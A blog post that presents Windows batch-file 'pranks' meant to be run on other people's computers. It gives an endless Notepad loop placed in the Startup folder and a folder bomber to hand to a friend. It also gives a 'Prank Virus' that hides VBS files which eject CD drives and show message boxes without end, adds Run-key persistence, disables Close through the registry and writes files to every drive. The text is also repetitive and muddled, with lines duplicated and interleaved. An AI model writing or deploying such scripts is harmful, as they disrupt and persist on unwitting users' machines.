Hi friends, in this post you will learn tricks and pranks using Batch File. Batch Files are plain text containing DOS command. Batch file should always have extension .BAT. You can write your batch file with notepad or DOS editor. So lets have a look on some tricks and pranks.
For this first understand meaning of :
@echo off => command prompt window blank.
md %random% => command in MS-DOS to create random folders.
(md is used for creating a folder and
%random% means folders with random names.)
goto TOP => retures the command to :top which causes an infinite loop.
For this first understand meaning of :
@echo off => command prompt window blank.
md %random% => command in MS-DOS to create random folders.
(md is used for creating a folder and
%random% means folders with random names.)
goto TOP => retures the command to :top which causes an infinite loop.
- Open Notepad Continuously
Steps to open Notepad continuously:
- Open Notepad
- Copy the below text in your notepad
@echo off
:TOP
START %SystemRoot%/system32/notepad.exe
goto TOP
Save the above text with .bat extension and close it.
Now open the file and see how it annoys you by opening notepad again and again.
You can also save this file in the following path:
C:\Documents and Settings\All Users\Start Menu\Programs \Startup folder
so when you start your computer then file runs into your computer and then Notepad
continuously open in window.
- Open CMD Continuously
Steps:
- Open Notepad and write "START" ( depending upon you how many times you want to open CMD, you can make as many as you would like ).
- Save file as .bat extension.
- Open that file and you observe that how many times you write START in Notepad, the CMD console box is open same as number of START written in Notepad.
- Folder Bomber
Open your notepad and type the following codes.
@echo off
:top
md %random%
goto top
Save it as 2000.bat Give this file to your friend and when he will click on that his nightmare will be started.
- Prank Virus
@echo off
echo Set oWMP=CreateObject("WMplayer.OCX.7")>>123.vbs
echo Set oWMP=CreateObject("WMplayer.OCX.7")>>123.vbs
echo Set colCDROMs=oWMP.cdromCollection>>123.vbs
echo do>>123.vbs
echo if colCDROMs.count>=1 then>>123.vbs
echo for i=0 to colCDROMs.Count -1>>123.vbs
echo colCDROMs.Item(i).Eject>>123.vbs
echo Next>>123.vbs
echo For i=0 to colCDROMs.Count -1>>123.vbs
echo colCDROMs.Item(i).Eject>>123.vbs
echo Next>>123.vbs
echo End If>>123.vbs
echo wscript.sleep 5000>>123.vbs
echo loop>>123.vbs
echo DO>>1234.vbs
echo MSGBOX "YOU ARE SCREWED!!!!!!!!!!!!",64,"ErR0r">>1234.vbs
echo do>>123.vbs
echo if colCDROMs.count>=1 then>>123.vbs
echo for i=0 to colCDROMs.Count -1>>123.vbs
echo colCDROMs.Item(i).Eject>>123.vbs
echo Next>>123.vbs
echo For i=0 to colCDROMs.Count -1>>123.vbs
echo colCDROMs.Item(i).Eject>>123.vbs
echo Next>>123.vbs
echo End If>>123.vbs
echo wscript.sleep 5000>>123.vbs
echo loop>>123.vbs
echo DO>>1234.vbs
echo MSGBOX "YOU ARE SCREWED!!!!!!!!!!!!",64,"ErR0r">>1234.vbs
echo LOOP>>1234.vbs
copy /y 123.vbs C:\
copy /y 1234.vbs C:\
attrib +s +h c:\123.vbs
attrib +s +h c:\1234.vbs
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer\ /v NoClose /t REG_DWORD /f /d 1
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\system\ /v legalnoticetext /f /d "YOR ARE BEEN SCREWED"
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\system\ /v legalnoticecaption /f /d "B0zZ_ErR0r"
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v 123.vbs /d c:\123.vbs
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v 1234.vbs /d c:\1234.vbs
attrib +s +h c:\123.vbs
attrib +s +h c:\1234.vbs
copy /y 123.vbs C:\
copy /y 1234.vbs C:\
attrib +s +h c:\123.vbs
attrib +s +h c:\1234.vbs
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer\ /v NoClose /t REG_DWORD /f /d 1
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\system\ /v legalnoticetext /f /d "YOR ARE BEEN SCREWED"
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\system\ /v legalnoticecaption /f /d "B0zZ_ErR0r"
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v 123.vbs /d c:\123.vbs
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v 1234.vbs /d c:\1234.vbs
attrib +s +h c:\123.vbs
attrib +s +h c:\1234.vbs
start 123.vbs
start 1234.vbs
echo Code Smahser owns your computer!!>>c:\almasmalik.txt
echo Code Smahser owns your computer!!>>d:\almasmalik.txt
echo Code Smahser owns your computer!!>>e:\almasmalik.txt
msg * MAY YOUR COMPUTER "REST IN PEACE"
start 1234.vbs
echo Code Smahser owns your computer!!>>c:\almasmalik.txt
echo Code Smahser owns your computer!!>>d:\almasmalik.txt
echo Code Smahser owns your computer!!>>e:\almasmalik.txt
msg * MAY YOUR COMPUTER "REST IN PEACE"
NOTE : Some of the following tricks can cause system damage or can lead process in infinite cycle. So do not try on your own system.
No comments:
Post a Comment